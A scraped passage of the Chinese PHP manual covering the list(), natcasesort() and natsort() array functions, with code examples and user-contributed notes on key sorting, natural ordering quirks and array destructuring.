$seed_array = array('foo'=>'bar', 'someotherkey'=>'whatev', 'bar'=>'baz', 'baz'=>'foo', 'anotherkey'=>'anotherval');
array_reorder_keys($seed_array, 'baz,foo,bar'); //returns array('baz'=>'foo', 'foo'=>'bar', 'bar'=>'baz', 'someotherkey'=>'whatev', 'anotherkey'=>'anotherval' );
?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Apr-2011 08:48
Note that ksort will NOT help you much if numeric and string keys are mixed together.
<?php
$t = array(
  "a"=>"A",
  0=>"A",
  "b"=>"A",
  1=>"A"
);
var_dump($t);
ksort($t);
var_dump($t);
?>

produces (on PHP 5.3.6-4 with Suhosin-Patch) :

array(4) {
  ["a"]=>
  string(1) "A"
  [0]=>
  string(1) "A"
  ["b"]=>
  string(1) "A"
  [1]=>
  string(1) "A"
}

array(4) {
  ["b"]=>
  string(1) "A"
  [0]=>
  string(1) "A"
  ["a"]=>
  string(1) "A"
  [1]=>
  string(1) "A"
}

note that the second array should be sorted by keys, but is even more messed up than the first one!
DavidG 17-Jun-2010 06:47
A nice way to do sorting of a key on a multi-dimensional array without having to know what keys you have in the array first:

<?php
$people = array(
array("name"=>"Bob","age"=>8,"colour"=>"red"),
array("name"=>"Greg","age"=>12,"colour"=>"blue"),
array("name"=>"Andy","age"=>5,"colour"=>"purple"));

var_dump($people);

$sortArray = array();

foreach($people as $person){
    foreach($person as $key=>$value){
        if(!isset($sortArray[$key])){
            $sortArray[$key] = array();
        }
        $sortArray[$key][] = $value;
    }
}

$orderby = "name"; //change this to whatever key you want from the array

array_multisort($sortArray[$orderby],SORT_DESC,$people);

var_dump($people);
?>

Output from first var_dump:

[0]=&gt;
  array(3) {
    ["name"]=&gt;
    string(3) "Bob"
    ["age"]=&gt;
    int(8)
    ["colour"]=&gt;
    string(3) "red"
  }
  [1]=&gt;
  array(3) {
    ["name"]=&gt;

    string(4) "Greg"
    ["age"]=&gt;
    int(12)
    ["colour"]=&gt;
    string(4) "blue"
  }
  [2]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Andy"
    ["age"]=&gt;
    int(5)
    ["colour"]=&gt;

    string(6) "purple"
  }
}

Output from 2nd var_dump:

array(3) {
  [0]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Greg"
    ["age"]=&gt;
    int(12)
    ["colour"]=&gt;
    string(4) "blue"
  }
  [1]=&gt;
  array(3) {
    ["name"]=&gt;

    string(3) "Bob"
    ["age"]=&gt;
    int(8)
    ["colour"]=&gt;
    string(3) "red"
  }
  [2]=&gt;
  array(3) {
    ["name"]=&gt;
    string(4) "Andy"
    ["age"]=&gt;
    int(5)
    ["colour"]=&gt;

    string(6) "purple"
  }

There's no checking on whether your array keys exist, or the array data you are searching on is actually there, but easy enough to add.
serpro at gmail dot com 13-Mar-2009 02:02
Here is a function to sort an array by the key of his sub-array.

<?php

function sksort(&$array, $subkey="id", $sort_ascending=false) {

    if (count($array))
        $temp_array[key($array)] = array_shift($array);

    foreach($array as $key => $val){
        $offset = 0;
        $found = false;
        foreach($temp_array as $tmp_key => $tmp_val)
        {
            if(!$found and strtolower($val[$subkey]) > strtolower($tmp_val[$subkey]))
            {
                $temp_array = array_merge(    (array)array_slice($temp_array,0,$offset),
                                            array($key => $val),
                                            array_slice($temp_array,$offset)
                                          );
                $found = true;
            }
            $offset++;
        }
        if(!$found) $temp_array = array_merge($temp_array, array($key => $val));
    }

    if ($sort_ascending) $array = array_reverse($temp_array);

    else $array = $temp_array;
}

?>

Example
<?php
$info = array("peter" => array("age" => 21,
                                           "gender" => "male"
                                           ),
                   "john"  => array("age" => 19,
                                           "gender" => "male"
                                           ),
                   "mary" => array("age" => 20,
                                           "gender" => "female"
                                          )
                  );

sksort($info, "age");
var_dump($info);

sksort($info, "age", true);
var_dump($ifno);
?>

This will be the output of the example:

/*DESCENDING SORT*/
array(3) {
  ["peter"]=>
  array(2) {
    ["age"]=>
    int(21)
    ["gender"]=>
    string(4) "male"
  }
  ["mary"]=>
  array(2) {
    ["age"]=>
    int(20)
    ["gender"]=>
    string(6) "female"
  }
  ["john"]=>
  array(2) {
    ["age"]=>
    int(19)
    ["gender"]=>
    string(4) "male"
  }
}

/*ASCENDING SORT*/
array(3) {
  ["john"]=>
  array(2) {
    ["age"]=>
    int(19)
    ["gender"]=>
    string(4) "male"
  }
  ["mary"]=>
  array(2) {
    ["age"]=>
    int(20)
    ["gender"]=>
    string(6) "female"
  }
  ["peter"]=>
  array(2) {
    ["age"]=>
    int(21)
    ["gender"]=>
    string(4) "male"
  }
}
maik dot riechert at animey dot net 12-Aug-2008 11:32
Be careful when using ksort for mixed type keys!!

$a = array(
    'first' => true,
    0       => 'sally',
);

$b = array(
    0       => 'sally',
    'first' => true,
);

ksort($a);
ksort($b);
var_dump($a);
var_dump($b);

Output is:
array(
    0 => 'sally',
    'first' => true,
)

array(
    'first' => true,
    0 => 'sally',
)

If you want same results for both arrays, use:

ksort($a, SORT_STRING);

The reason for that lays in the compare mechanism which would normally just typecast 'first' to an integer or 0 to a string when comparing it to each other. So you have to use SORT_STRING, otherwise you would lose information when 'first' is converted to int.
ssb45 at cornell dot edu 30-Jun-2005 04:58
The function that justin at booleangate dot org provides works well, but be aware that it is not a drop-in replacement for ksort as is.  While ksort sorts the array by reference and returns a status boolean, natksort returns the sorted array, leaving the original untouched.  Thus, you must use this syntax:

$array = natksort($array);

If you want to use the more natural syntax:

$status = natksort($array);

Then use this modified version:

function natksort(&$array) {
    $keys = array_keys($array);
    natcasesort($keys);

    foreach ($keys as $k) {
        $new_array[$k] = $array[$k];
    }

    $array = $new_array;
    return true;
}
justin at booleangate dot org 18-Jan-2005 01:04
Here's a handy function for natural order sorting on keys.

function natksort($array) {
  // Like ksort but uses natural sort instead
  $keys = array_keys($array);
  natsort($keys);

  foreach ($keys as $k)
    $new_array[$k] = $array[$k];

  return $new_array;
}
09-Mar-2002 07:09
here 2 functions to ksort/uksort an array and all its member arrays

function tksort(&$array)
  {
  ksort($array);
  foreach(array_keys($array) as $k)
    {
    if(gettype($array[$k])=="array")
      {
      tksort($array[$k]);
      }
    }
  }

function utksort(&$array, $function)
  {
  uksort($array, $function);
  foreach(array_keys($array) as $k)
    {
    if(gettype($array[$k])=="array")
      {
      utksort($array[$k], $function);
      }
    }
  }
delvach at mail dot com 06-Nov-2001 01:29
A real quick way to do a case-insensitive sort of an array keyed by strings:

uksort($myArray, "strnatcasecmp");
sbarnum at mac dot com 19-Oct-2001 03:54
ksort on an array with negative integers as keys yields some odd results.  Not sure if this is a bad idea (negative key values) or what.


把数组中的值赋给一组变量

  • ? ksort
  • natcasesort ?
  • PHP Manual
  • 数组 函数
  • 把数组中的值赋给一组变量

list

(PHP 4, PHP 5, PHP 7)

list — 把数组中的值赋给一组变量

说明

list ( mixed $var1 [, mixed $... ] ) : array

像 array() 一样，这不是真正的函数，而是语言结构。 list() 可以在单次操作内就为一组变量赋值。

Note:

在 PHP 7.1.0 之前的版本，list() 仅能用于数字索引的数组，并假定数字索引从 0 开始。

Warning

PHP 5 里，list() 从最右边的参数开始赋值； PHP 7 里，list() 从最左边的参数开始赋值。

如果你用单纯的变量，不用担心这一点。 但是如果你用了具有索引的数组，通常你期望得到的结果和在 list() 中写的一样是从左到右的，但在 PHP 5 里实际上不是， 它是以相反顺序赋值的。

通常而言，不建议依赖于操作的顺序，在未来可能会再次发生修改。

Warning

在 list() 执行过程中修改数组（比如使用 list($a, $b) = $b）将会产生不可预知的结果。

参数

var1

一个变量。

返回值

返回指定的数组。

更新日志

版本 | 说明
7.1.0 | 现在可以指定 list() 中的键。 这就可以解构非数字键或者无顺序的数组。
7.0.0 | 赋值操作的顺序发生了变化。
7.0.0 | list() 表达式不再可以完全为空。
7.0.0 | 字符串无法再被拆包（unpack）。

范例

Example #1 list() 例子

<?php

$info = array('coffee', 'brown', 'caffeine');

// 列出所有变量
list($drink, $color, $power) = $info;
echo "$drink is $color and $power makes it special.\n";

// 列出他们的其中一个
list($drink, , $power) = $info;
echo "$drink has $power.\n";

// 或者让我们跳到仅第三个
list( , , $power) = $info;
echo "I need $power!\n";

// list() 不能对字符串起作用
list($bar) = "abcde";
var_dump($bar); // NULL
?>

Example #2 list() 用法的一个例子

<table>
 <tr>
  <th>Employee name</th>
  <th>Salary</th>
 </tr>

<?php

$result = $pdo->query("SELECT id, name, salary FROM employees");
while (list($id, $name, $salary) = $result->fetch(PDO::FETCH_NUM)) {
    echo " <tr>\n" .
          "  <td><a href=\"info.php?id=$id\">$name</a></td>\n" .
          "  <td>$salary</td>\n" .
          " </tr>\n";
}

?>

</table>

Example #3 使用嵌套的 list()

<?php

list($a, list($b, $c)) = array(1, array(2, 3));

var_dump($a, $b, $c);

?>
int(1)
int(2)
int(3)

Example #4 在 list() 中使用数组索引

<?php

$info = array('coffee', 'brown', 'caffeine');

list($a[0], $a[1], $a[2]) = $info;

var_dump($a);

?>

产生如下输出（注意单元顺序和 list() 语法中所写的顺序的比较）：

Output of the above example in PHP 7:

array(3) {
  [0]=>
  string(6) "coffee"
  [1]=>
  string(5) "brown"
  [2]=>
  string(8) "caffeine"
}

Output of the above example in PHP 5:

array(3) {
  [2]=>
  string(8) "caffeine"
  [1]=>
  string(5) "brown"
  [0]=>
  string(6) "coffee"
}

Example #5 list() 和索引顺序定义

list() 使用 array 索引的顺序和它何时定义无关。

<?php
$foo = array(2 => 'a', 'foo' => 'b', 0 => 'c');
$foo[1] = 'd';
list($x, $y, $z) = $foo;
var_dump($foo, $x, $y, $z);

得到以下输出（注意比较 list() 所写的元素顺序）：

array(4) {
  [2]=>
  string(1) "a"
  ["foo"]=>
  string(1) "b"
  [0]=>
  string(1) "c"
  [1]=>
  string(1) "d"
}
string(1) "c"
string(1) "d"
string(1) "a"

Example #6 带键的 list()

从 PHP 7.1.0 开始，list() 可以包含显式的键，可赋值到任意表达式。 可以混合使用数字和字符串键。但是不能混合有键和无键不能混用。

<?php
$data = [
    ["id" => 1, "name" => 'Tom'],
    ["id" => 2, "name" => 'Fred'],
];
foreach ($data as ["id" => $id, "name" => $name]) {
    echo "id: $id, name: $name\n";
}
echo PHP_EOL;
list(1 => $second, 3 => $fourth) = [1, 2, 3, 4];
echo "$second, $fourth\n";

以上例程会输出：

id: 1, name: Tom
id: 2, name: Fred

2, 4

参见

  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步
  • array() - 新建一个数组
  • extract() - 从数组中将变量导入到当前的符号表

User Contributed Notes

Paul Marti 02-Jul-2019 09:45
Since 7.1.0, you can use an array directly without list():

<?php
[$test, $test2] = explode(",", "hello, world");
echo $test . $test2; // hello, world
?>
Mardaneus 17-Jul-2018 08:14
Unless you specify keys when using list() it expects the array being fed into it to start at 0.

So having the following code will result in a notice level warning "Undefined offset: 0" and variables not filling as expected

<?php
list($c1, $c2, $c3) = array [1 =>'a', 2 => 'b', 3 => 'c'];

var_dump($c1); // NULL
var_dump($c2); // string(1) "a"
var_dump($c3); // string(1) "b"

?>
petru at fuxspam dot xtremeweb dot ro 13-Apr-2018 10:11
This is something I haven't seen in documentation.

Since PHP 7.1, you can use short-hand list unpacking using square brackets, just like short-hand array declaration:

<?php

$foo = ['a', 'b', 'c'];

// short-hand array definition
[$a, $b, $c] = $foo;
echo $a; // displays "a"

// it's same like:
list($x, $y, $z) = $foo;
echo $x; // displays "a"

?>
contato at tobias dot ws 28-Mar-2018 07:22
Since PHP 7.1 the [] may now be used as an alternative to the existing list() syntax:

<?php
[$number, $message] = explode('|', '123|Hello World!');
?>
blazej 31-Aug-2017 02:00
From PHP Version 7.1 you can specify keys in list(), or its new shorthand [] syntax. This enables destructuring of arrays with non-integer or non-sequential keys.

<?php
$data = [
    ["id" => 1, "name" => 'Tom'],
    ["id" => 2, "name" => 'Fred'],
];

// list() style
list("id" => $id1, "name" => $name1) = $data[0];

// [] style
["id" => $id1, "name" => $name1] = $data[0];

// list() style
foreach ($data as list("id" => $id, "name" => $name)) {
    // logic here with $id and $name
}

// [] style
foreach ($data as ["id" => $id, "name" => $name]) {
    // logic here with $id and $name
}
grzeniufication 27-May-2017 04:01
<?php
/**
 * It seems you can skip listed values.
 * Here's an example to show what I mean.
 *
 * FYI works just as well with PHP 7.1 shorthand list syntax.
 * Tested against PHP 5.6.30, 7.1.5
 */
$a = [ 1, 2, 3, 4 ];

// this is quite normal use case for list
echo "Unpack all values\n";
list($v1, $v2, $v3, $v4) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

// this is what I mean:
echo "Skip middle\n";
list($v1, , , $v4) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

echo "Skip beginning\n";
list( , , $v3, $v4) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

echo "Skip end\n";
list($v1, $v2, , ) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);

echo "Leave middle\n";
list( , $v2, $v3, ) = $a;
echo "$v1, $v2, $v3, $v4\n";
unset($v1, $v2, $v3, $v4);
Rhamnia Mohamed 17-May-2017 11:37
Since PHP 7.1, keys can be specified

exemple :
<?php
$array = ['locality' => 'Tunis', 'postal_code' => '1110'];

list('postal_code' => $zipCode, 'locality' => $locality) = $array;

print $zipCode; // will output 1110
print $locality; // will output Tunis
 ?>
carlosv775 at gmail dot com 12-Jan-2017 08:30
In PHP 7.1 we can do the following:

<?php
    [$a, $b, $c] = ['a', 'b', 'c'];
?>

Before, we had to do:

<?php
    list($a, $b, $c) = ['a', 'b',  'c'];
?>
anthony dot ossent at live dot fr 23-Oct-2016 03:04
a simple example of use to swap two variables :

$a = 'hello';
$b = 'world';

list($a, $b) = [$b, $a];

echo $a . ' ' . $b; //display "world hello"

another example :

function getPosition($x, $y, $z)
{
   // ... some operations like $x++...
   return [$x, $y, $z];
}

list($x, $y, $z) = getPosition($x ,$y, $z);
pemapmodder1970 at gmail dot com 05-Feb-2016 04:08
list() can be used with foreach

<?php
$array = [[1, 2], [3, 4], [5, 6]];

foreach($array as list($odd, $even)){
    echo "$odd is odd; $even is even", PHP_EOL;
}
?>

The output:
===
1 is odd; 2 is even
3 is odd; 4 is even
5 is odd; 6 is even
Dean 10-Dec-2015 07:20
UNDOCUMENTED BEHAVIOR:

    list($a,$b,$c) = null;

in fact works like:

    $a = null; $b = null; $c = null;

...So correspondingly:

    list($rows[]) = null;

Will increment count($rows), just as if you had executed $rows[] = null;

Watch out for this (for example) when retrieving entire tables from a database, e.g.

    while (list($rows[]) = $mysqlresult->fetch_row());

This will leave an extra 'null' entry as the last element of $rows.
Colin Guthrie 20-Jul-2015 01:41
If you want use the undefined behaviour as you might expect it e.g. if you want:

  $b = ['a','b']; list($a, $b) = $b;

to result in $a=='a' and $b=='b', then you can just cast $b to an array (even although it already is) to create a copy. e.g.

  $b = ['a','b']; list($a, $b) = (array)$b;

and get the expected results.
grzeniufication 21-Oct-2014 10:35
The example showing that:

$info = array('kawa', 'br?zowa', 'kofeina');
list($a[0], $a[1], $a[2]) = $info;
var_dump($a);

outputs:
array(3) {
[2]=>
string(8) "kofeina"
[1]=>
string(5) "br?zowa"
[0]=>
string(6) "kawa"
}

One thing to note here is that if you define the array earlier, e.g.:
$a = [0, 0, 0];

the indexes will be kept in the correct order:

array(3) {
  [0]=>
  string(4) "kawa"
  [1]=>
  string(8) "br?zowa"
  [2]=>
  string(7) "kofeina"
}

Thought that it was worth mentioning.
john at jbwalker dot com 08-Dec-2013 12:31
The list construct seems to look for a sequential list of indexes rather taking elements in sequence. What that obscure statement means is that if you unset an element, list will not simply jump to the next element and assign that to the variable but will treat the missing element as a null or empty variable:

    $test = array("a","b","c","d");
    unset($test[1]);
    list($a,$b,$c)=$test;
    print "\$a='$a' \$b='$b' \$c='$c'<BR>";

results in:
$a='a' $b='' $c='c'

not:
$a='a' $b='c' $c='d'
megan at voices dot com 10-Sep-2013 03:45
As noted, list() will give an error if the input array is too short. This can be avoided by array_merge()'ing in some default values. For example:

<?php
$parameter = 'name';
list( $a, $b ) = array_merge( explode( '=', $parameter ), array( true ) );
?>

However, you will have to array_merge with an array long enough to ensure there are enough elements (if $parameter is empty, the code above would still error).

An alternate approach would be to use array_pad on the array to ensure its length (if all the defaults you need to add are the same).

<?php
    $parameter = 'bob-12345';
    list( $name, $id, $fav_color, $age ) = array_pad( explode( '-', $parameter ), 4, '' );
    var_dump($name, $id, $fav_color, $age);
/* outputs
string(3) "bob"
string(5) "12345"
string(0) ""
string(0) ""
*/
?>
svennd 23-Dec-2012 07:08
The list() definition won't throw an error if your array is longer then defined list.
<?php

list($a, $b, $c) = array("a", "b", "c", "d");

var_dump($a); // a
var_dump($b); // b
var_dump($c); // c
?>
chris at chlab dot ch 07-Nov-2012 03:00
The example states the following:
<?php
// list() doesn't work with strings
list($bar) = "abcde";
var_dump($bar);
// output: NULL
?>

If the string is in a variable however, it seems using list() will treat the string as an array:
<?php
$string = "abcde";
list($foo) = $string;
var_dump($foo);
// output: string(1) "a"
?>


用“自然排序”算法对数组进行不区分大小写字母的排序

  • ? list
  • natsort ?
  • PHP Manual
  • 数组 函数
  • 用“自然排序”算法对数组进行不区分大小写字母的排序

natcasesort

(PHP 4, PHP 5, PHP 7)

natcasesort — 用"自然排序"算法对数组进行不区分大小写字母的排序

说明

natcasesort ( array &$array ) : bool

natcasesort() 是 natsort() 函数的不区分大小写字母的版本。

本函数实现了一个和人们通常对字母数字字符串进行排序的方法一样的排序算法并保持原有键／值的关联，这被称为"自然排序"。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数

array

输入的数组。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 natcasesort() 例子

<?php
$array1 = $array2 = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

sort($array1);
echo "Standard sorting\n";
print_r($array1);

natcasesort($array2);
echo "\nNatural order sorting (case-insensitive)\n";
print_r($array2);
?>

以上例程会输出：

Standard sorting
Array
(
    [0] => IMG0.png
    [1] => IMG3.png
    [2] => img1.png
    [3] => img10.png
    [4] => img12.png
    [5] => img2.png
)

Natural order sorting (case-insensitive)
Array
(
    [0] => IMG0.png
    [4] => img1.png
    [3] => img2.png
    [5] => IMG3.png
    [2] => img10.png
    [1] => img12.png
)

更多信息见 Martin Pool 的 » Natural Order String Comparison 页面。

参见

  • natsort() - 用“自然排序”算法对数组排序
  • 数组排序函数对比
  • strnatcmp() - 使用自然排序算法比较字符串
  • strnatcasecmp() - 使用“自然顺序”算法比较字符串（不区分大小写）

User Contributed Notes

w-dot-rosenbach-at-netskill-de 14-Dec-2010 09:45
Sorting UTF-8 by arbitrary order:

<?php
mb_internal_encoding("UTF-8");

class utf_8_german
{
  // everything else is sorted at the end
  static $order = '0123456789Aa??BbCcDdEeFfGgHhIiJjKkLlMm
NnOo??PpQqRrSs?TtUuüüVvWwXxYyZz';
  static $char2order;

  static function cmp($a, $b) {
    if ($a == $b) {
        return 0;
    }

    // lazy init mapping
    if (empty(self::$char2order))
    {
      $order = 1;
      $len = mb_strlen(self::$order);
      for ($order=0; $order<$len; ++$order)
      {
        self::$char2order[mb_substr(self::$order, $order, 1)] = $order;
      }
    }

    $len_a = mb_strlen($a);
    $len_b = mb_strlen($b);
    $max=min($len_a, $len_b);
    for($i=0; $i<$max; ++$i)
    {
      $char_a= mb_substr($a, $i, 1);
      $char_b= mb_substr($b, $i, 1);

      if ($char_a == $char_b) continue;
      $order_a = (isset(self::$char2order[$char_a])) ? self::$char2order[$char_a] : 9999;
      $order_b = (isset(self::$char2order[$char_b])) ? self::$char2order[$char_b] : 9999;

      return ($order_a < $order_b) ? -1 : 1;
    }
    return ($len_a < $len_b) ? -1 : 1;
  }
}

// usage example:

$t = array(
  'Birnen', 'Birne', '?pfel', 'Apfel',
);

uasort($t, 'utf_8_german::cmp');
echo '$t: <pre>'.htmlspecialchars(print_r($t,true),null,'UTF-8').'</pre>';
?>
shawn at shawnwilkerson dot com 05-May-2009 10:03
I kept getting varied results using natcasesort and sort on mixed arrays -- per the descriptions.

Sometimes simple is better:

A little snippet of code:

<?php                        if($responders->num_rows) {
                            $i=0;
                            while($row= $responders->fetch_assoc()) {
                                $user=getUserName($row['responderID']);
                                $r[$i]= array("sortname"=>strtolower($user),"userName"=>$user, "userID"=>$row['responderID'], "responderID"=>$row['idresponders']);
                                $i++;
                            }
                            sort($r);
                            print_r($r);
                        }

?>

I simply created a lower cased sort field at the front of the result set and then sort by it -- which provides the expected result and leaves the actual needed fields unchanged.

For the curious:  all user information is kept completed in another database (and table) from the content database due to security reasons.  The getUser functions we have written allow us to pull only what is legally allowed without exposing anything else.

This is why a left join or something wasn't used and we have to build a pseudo result array here from both databases.
claude at schlesser dot lu 07-Jan-2009 12:41
Here a function that will natural sort an array by keys with keys that contain special characters.

<?php
function natksort($array)
{
    $original_keys_arr = array();
    $original_values_arr = array();
    $clean_keys_arr = array();

    $i = 0;
    foreach ($array AS $key => $value)
    {
        $original_keys_arr[$i] = $key;
        $original_values_arr[$i] = $value;
        $clean_keys_arr[$i] = strtr($key, "??ü??üéèà??éèà?", "AOUaouEEAEeeeac");
        $i++;
    }

    natcasesort($clean_keys_arr);

    $result_arr = array();

    foreach ($clean_keys_arr AS $key => $value)
    {
        $original_key = $original_keys_arr[$key];
        $original_value = $original_values_arr[$key];
        $result_arr[$original_key] = $original_value;
    }

    return $result_arr;
}
?>

Hope it will be useful to somebody :)
vbAlexDOSMan at Yahoo dot com 12-Sep-2003 01:21
Ulli at Stemmeler dot net:  I remade your function -- it's a little more compact now -- Enjoy...

function ignorecasesort(&$array) {

  /*Make each element it's lowercase self plus itself*/
  /*(e.g. "MyWebSite" would become "mywebsiteMyWebSite"*/
  for ($i = 0; $i < sizeof($array); $array[$i] = strtolower($array[$i]).$array[$i], $i++);

  /*Sort it -- only the lowercase versions will be used*/
  sort($array);

  /*Take each array element, cut it in half, and add the latter half to a new array*/
  /*(e.g. "mywebsiteMyWebSite" would become "MyWebSite")*/
  for ($i = 0; $i < sizeof($array); $i++) {
    $this = $array[$i];
    $array[$i] = substr($this, (strlen($this)/2), strlen($this));
  }
}
dslicer at maine dot rr dot com 02-Jun-2003 06:41
Something that should probably be documented is the fact that both natsort and natcasesort maintain the key-value associations of the array. If you natsort a numerically indexed array, a for loop will not produce the sorted order; a foreach loop, however, will produce the sorted order, but the indices won't be in numeric order. If you want natsort and natcasesort to break the key-value associations, just use array_values on the sorted array, like so:

natcasesort($arr);
$arr = array_values($arr);
tmiller25 at hotmail dot com 25-Apr-2002 07:55
add this loop to the function above if you want items which have the same first characters to be listed in a way that the shorter string comes first.
--------------------
  /* short before longer (e.g. 'abc' should come before 'abcd') */
  for($i=count($array)-1;$i>0;$i--) {
    $str_a = $array[$i  ];
    $str_b = $array[$i-1];
    $cmp_a = strtolower(substr($str_a,0,strlen($str_a)));
    $cmp_b = strtolower(substr($str_b,0,strlen($str_a)));
    if ($cmp_a==$cmp_b && strlen($str_a)<strlen($str_b)) {
      $array[$i]=$str_b; $array[$i-1]=$str_a; $i+=2;
    }
  }
--------------------


用“自然排序”算法对数组排序

  • ? natcasesort
  • next ?
  • PHP Manual
  • 数组 函数
  • 用“自然排序”算法对数组排序

natsort

(PHP 4, PHP 5, PHP 7)

natsort — 用"自然排序"算法对数组排序

说明

natsort ( array &$array ) : bool

本函数实现了一个和人们通常对字母数字字符串进行排序的方法一样的排序算法并保持原有键／值的关联，这被称为"自然排序"。本算法和通常的计算机字符串排序算法（用于 sort()）的区别见下面示例。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数

array

输入的 array。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
5.2.10 | 用零填充的数字字符串 (例如 '00005')现在本质上会忽略掉填充的前道零。

范例

Example #1 natsort() 基本用法的操作示例

<?php
$array1 = $array2 = array("img12.png", "img10.png", "img2.png", "img1.png");

asort($array1);
echo "Standard sorting\n";
print_r($array1);

natsort($array2);
echo "\nNatural order sorting\n";
print_r($array2);
?>

以上例程会输出：

Standard sorting
Array
(
    [3] => img1.png
    [1] => img10.png
    [0] => img12.png
    [2] => img2.png
)

Natural order sorting
Array
(
    [3] => img1.png
    [2] => img2.png
    [1] => img10.png
    [0] => img12.png
)

For more information see: Martin Pool's » Natural Order String Comparison page.

Example #2 natsort() examples demonstrating potential gotchas

<?php
echo "Negative numbers\n";
$negative = array('-5','3','-2','0','-1000','9','1');
print_r($negative);
natsort($negative);
print_r($negative);

echo "Zero padding\n";
$zeros = array('09', '8', '10', '009', '011', '0');
print_r($zeros);
natsort($zeros);
print_r($zeros);
?>

以上例程会输出：

Negative numbers
Array
(
    [0] => -5
    [1] => 3
    [2] => -2
    [3] => 0
    [4] => -1000
    [5] => 9
    [6] => 1
)
Array
(
    [2] => -2
    [0] => -5
    [4] => -1000
    [3] => 0
    [6] => 1
    [1] => 3
    [5] => 9
)

Zero padding
Array
(
    [0] => 09
    [1] => 8
    [2] => 10
    [3] => 009
    [4] => 011
    [5] => 0
)
Array
(
    [5] => 0
    [1] => 8
    [3] => 009
    [0] => 09
    [2] => 10
    [4] => 011
)

参见

  • natcasesort() - 用“自然排序”算法对数组进行不区分大小写字母的排序
  • 数组排序函数对比
  • strnatcmp() - 使用自然排序算法比较字符串
  • strnatcasecmp() - 使用“自然顺序”算法比较字符串（不区分大小写）

User Contributed Notes

Malek Mohamed 24-Jun-2018 06:21
$array1 = $array2 = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

natsort($array1);
echo "\n natsort(); \n";
print_r($array1);

sort($array2, SORT_NATURAL);
echo "\n sort() with  SORT_NATURAL Option\n";
print_r($array2);

Ouput:

natsort();
Array
(
    [0] => IMG0.png
    [5] => IMG3.png
    [4] => img1.png
    [3] => img2.png
    [2] => img10.png
    [1] => img12.png
)

sort() with  SORT_NATURAL Option
Array
(
    [0] => IMG0.png
    [1] => IMG3.png
    [2] => img1.png
    [3] => img2.png
    [4] => img10.png
    [5] => img12.png
)

as we can see it's  the same values but not the same keys, and also it's same for sort($array1, SORT_NATURAL | SORT_FLAG_CASE); and natcasesort($array2)
dotancohen splat gmail spot com 30-May-2017 06:59
As noted in other notes, natsort() does _not_ always return the expected sort order. It seems especially buggy when decimals or 0 padding is used. I've filed this bug report on the issue:
https://bugs.php.net/bug.php?id=74672
bb7b5b9 at gmail dot com 14-Jan-2016 08:07
This made me waste a lot of my precious youth ... natsort() is buggy if all numbers don't have the same number of decimal places.

(php 5.6.4-4ubuntu6.2)

<?php
$different_decimal_places_in_values = array('D'=>'13.59', '14.6' => '14.6', 'C-' => '14.19');
natsort($a);
var_dump($a);

/*echoes
array(3) {
  'D' =>
  string(5) "13.59"
  '14.6' =>
  string(4) "14.6" <----------- badly ordered
  'C-' =>
  string(5) "14.19"
}*/
?>

While this

<?php
$same_num_decimal_places_in_values = array('D'=>'13.59', '14.6' => '14.60', 'C-' => '14.19'); natsort($a); var_dump($a);

/*echoes
array(3) {
  'D' =>
  string(5) "13.59"
  'C-' =>
  string(5) "14.19"
  '14.6' =>
  string(5) "14.60" <--------- that is the correct position
}
*/

?>
mvs dot php at gmail dot com 20-May-2015 10:12
To naturally sort by array key, the uksort function can be used.

<?php

echo "Sort by keys\n";
$smoothie = array('orange' => 1, 'apple' => 1, 'yogurt' => 4, 'banana' => 4);
print_r($smoothie);
uksort( $smoothie, 'strnatcmp');
print_r($smoothie)

?>

Output:

Sort by keys
Array
(
    [orange] => 1
    [apple]  => 1
    [yogurt] => 4
    [banana] => 4
)
Array
(
    [apple]  => 1
    [banana] => 4
    [orange] => 1
    [yogurt] => 4
)

See http://php.net/manual/en/function.uksort.php for more information about uksort and http://php.net/strnatcmp for usage of strnatcmp.
Johan GENNESSON (php at genjo dot fr) 24-Nov-2010 07:18
Be careful of the new behaviour in 5.2.10 version.
See the following sample:

<?php

$array = array('1 bis', '10 ter', '0 PHP', '0', '01', '01 Ver', '0 ', '1 ', '1');

natsort($array);
echo '<pre>';
print_r($array);
echo '</pre>';
?>

5.2.6-1 will output:
Array
(
    [3] => 0
    [6] => 0
    [2] => 0 OP
    [4] => 01
    [5] => 01 Ver
    [8] => 1
    [7] => 1
    [0] => 1 bis
    [1] => 10 ter
)

5.2.10 will output:
Array
(
    [6] => 0
    [3] => 0
    [8] => 1
    [4] => 01
    [7] => 1
    [5] => 01 Ver
    [0] => 1 bis
    [1] => 10 ter
    [2] => 0 OP
)

Greetings
Christoph 25-Nov-2009 10:45
Note:

The natsort function will sort depending on the operating system, but not depending on either Linux or Windows-based systems

There's a difference when sorting an array which is generated from the filesystem:
Array(
    [0] => ./system/kernel/js/01_ui.core.js
    [1] => ./system/kernel/js/00_jquery-1.3.2.js
    [2] => ./system/kernel/js/02_my.desktop.js
)

natsort($array) will result in two different ways:

Case 1: (Debian)
Array(
    [1] => ./system/kernel/js/00_jquery-1.3.2.js
    [0] => ./system/kernel/js/01_ui.core.js
    [2] => ./system/kernel/js/02_my.desktop.js
)

Case 2: (Debian Kernel, but Ubuntu shadowed php-Version)
Array(
    [0] => ./system/kernel/js/01_ui.core.js
    [2] => ./system/kernel/js/02_my.desktop.js
    [1] => ./system/kernel/js/00_jquery-1.3.2.js
)

...so make sure you've named the files beginning with 01, then it works fine.
ale152 16-Mar-2009 02:00
Note: negatives number.
<?php
$a = array(-5,-2,3,9);
natsort($a);
print_r($a);
?>
Will output:
Array ( [1] => -2 [0] => -5 [2] => 3 [3] => 9 )
AJenbo 15-Jan-2009 01:33
natsort might not act like you would expect with zero padding, heres a quick sample.

<?php
